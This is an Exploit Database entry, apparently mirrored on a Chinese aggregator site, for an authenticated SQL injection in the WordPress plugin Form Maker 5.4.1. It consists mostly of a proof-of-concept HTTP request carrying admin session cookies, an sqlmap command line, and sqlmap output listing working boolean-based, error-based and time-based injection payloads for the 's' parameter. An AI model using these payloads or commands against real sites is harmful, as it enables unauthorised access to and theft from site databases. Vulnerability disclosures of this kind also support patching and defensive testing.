WordPress Plugin Form Maker 5.4.1 – ‘s’ SQL Injection (Authenticated)

• Exploit Database
• 17 阅读

• 作者： SunCSR
  日期： 2020-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48509/

• # Exploit Title: WordPress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
  # Exploit Author: SunCSR (Sun* Cyber Security Research)
  # Date: 2020 - 5 - 22
  # Vender Homepage: https://help.10web.io/
  # Version: <= 5.4.1
  # Tested on: Ubuntu 18.04
  
  Description:
  SQL injection in the Form Maker by 10Web WordPress Plugin before 5.4.1
  exists via the /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" s
  parameter.
  
  Poc:
  GET /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" HTTP/1.1
  Host: test-wp.com
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
  Firefox/76.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: close
  Cookie:
  wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;
  wordpress_test_cookie=WP+Cookie+check;
  wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;
  wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1590140574;
  PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb
  Upgrade-Insecure-Requests: 1
  
  SQLMap using:
  sqlmap -u '
  http://test-wp.com:80/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=123'
  --cookie='wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;wordpress_test_cookie=WP+Cookie+check;wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;wp-settings-1=libraryContent%3Dbrowse;wp-settings-time-1=1590140574;PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb'
  
  Parameter: s (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: page=blocked_ips_fm&s=-1027" OR 8913=8913#
  
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
  BY clause (FLOOR)
  Payload: page=blocked_ips_fm&s=123" AND (SELECT 2867 FROM(SELECT
  COUNT(*),CONCAT(0x717a707871,(SELECT
  (ELT(2867=2867,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM
  INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TxQH
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: page=blocked_ips_fm&s=123" AND SLEEP(5)-- oPEC
  ---
  [17:20:17] [INFO] the back-end DBMS is MySQL
  web server operating system: Linux Ubuntu
  web application technology: Apache 2.4.29
  back-end DBMS: MySQL >= 5.0